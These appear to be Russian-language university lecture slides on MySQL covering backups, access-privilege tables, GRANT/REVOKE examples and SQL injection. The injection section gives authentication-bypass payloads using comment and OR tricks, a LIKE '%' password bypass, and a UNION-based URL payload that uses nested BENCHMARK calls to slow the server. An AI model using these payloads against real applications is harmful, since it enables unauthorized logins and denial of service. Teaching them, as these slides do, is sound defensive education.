СУБД. Лекция 9

СУБД
Навроцкий Артем
Лекция 9

Резервное копирование: Зачем?

Логические резервные копии

Логические резервные копии

Физические резервные копии

Физические резервные копии

Что копировать?

Неочевидные данные
Не забудьте о данных, которые не бросаются в глаза, например: двоичные журналы и журналы транзакций InnoDB.
Код
В частности, триггеры и хранимые процедуры.
Конфигурация репликации
Для восстановления сервера, участвующего в репликации, следует включать в резервную копию все необходимые для репликации файлы.
Конфигурация сервера
Если потребуется восстановить данные после настоящей катастрофы.
Отдельные файлы операционной системы
На UNIX-сервере это могут быть таблицы cron, конфигурация пользователей и групп и правила sudo.

Терминология

Аутентификация
Кто вы такой?
Авторизация
Что вам разрешено делать?
Контроль доступа
Какие данные вам разрешено видеть и/или изменять?
Привилегии и разрешения
Способ представления в MySQL права доступа.

Объектные привилегии разрешают доступ к конкретным объектам.

Глобальные привилегии позволяют что-то делать с самим сервером.

Таблицы доступа

user
В каждой строке хранятся учетные данные пользователя (имя, местоположение и зашифрованный пароль) и его глобальные привилегии.
db
В каждой строке хранятся привилегии уровня базы данных для одного пользователя.
host
В каждой строке хранятся привилегии доступа к одной базе данных для пользователя, подключающегося из заданного местоположения.
tables_priv
В каждой строке хранятся привилегии доступа одного пользователя к одной таблице.
columns_priv
В каждой строке хранятся привилегии доступа одного пользователя к одному столбцу.
procs_priv
В каждой строке представлены привилегии доступа одного пользователя к одной хранимой подпрограмме (процедуре или функции).

Таблицы доступа

Привелегии

GRANT [privileges] ON [objects] TO [user];
GRANT [privileges] ON [objects] TO [user] IDENTIFIED BY [password];
REVOKE [privileges] ON [objects] FROM [user];

Виды записей

Отзыв привилегий

GRANT SELECT ON *.* TO 'homer' IDENTIFIED BY 'Simps0n';
 
REVOKE SELECT ON sakila.film FROM 'homer';
-- ERROR 1147 (42000): There is no such grant defined
-- for user 'homer' on host '%' on table 'film'

GRANT SELECT ON sakila.* TO 'homer';

REVOKE ALL PRIVILEGES ON sakila.* FROM 'homer';

DROP USER 'homer';

SQL-injection: Строковой параметр

SQL-injection: Авторизация

SELECT * FROM users
WHERE login='$login' AND pass='$pass'

SELECT * FROM users
WHERE login='Admin' -- ' AND pass='123'


  
SELECT * FROM users
WHERE login='Admin' AND pass='123' OR login='Admin' -- '

SELECT * FROM users
WHERE (login='Admin' AND pass='123') OR (login='Admin')

Оператор LIKE

SELECT * FROM users
WHERE login LIKE 'Admin' AND pass LIKE '123'

SELECT * FROM users
WHERE login LIKE 'Admin' AND pass LIKE '%'

SQL-injection: UNION

SQL-injection: GROUP BY/ORDER BY

SQL-injection: INFORMATION_SCHEMA

SQL-injection: Работа с файлами

SQL-injection: DOS ататка

SELECT BENCHMARK(100000,md5(current_time));

SELECT BENCHMARK(100000,BENCHMARK(100000,md5(current_time)));

http://xxx/news.php?id=-1' UNION SELECT 1, 2, BENCHMARK(100000,BENCHMARK(100000,md5(current_time ))), 4, 5, 6 --

Навроцкий Артем
@gent: navrotskiy@corp.mail.ru
Спасибо за внимание!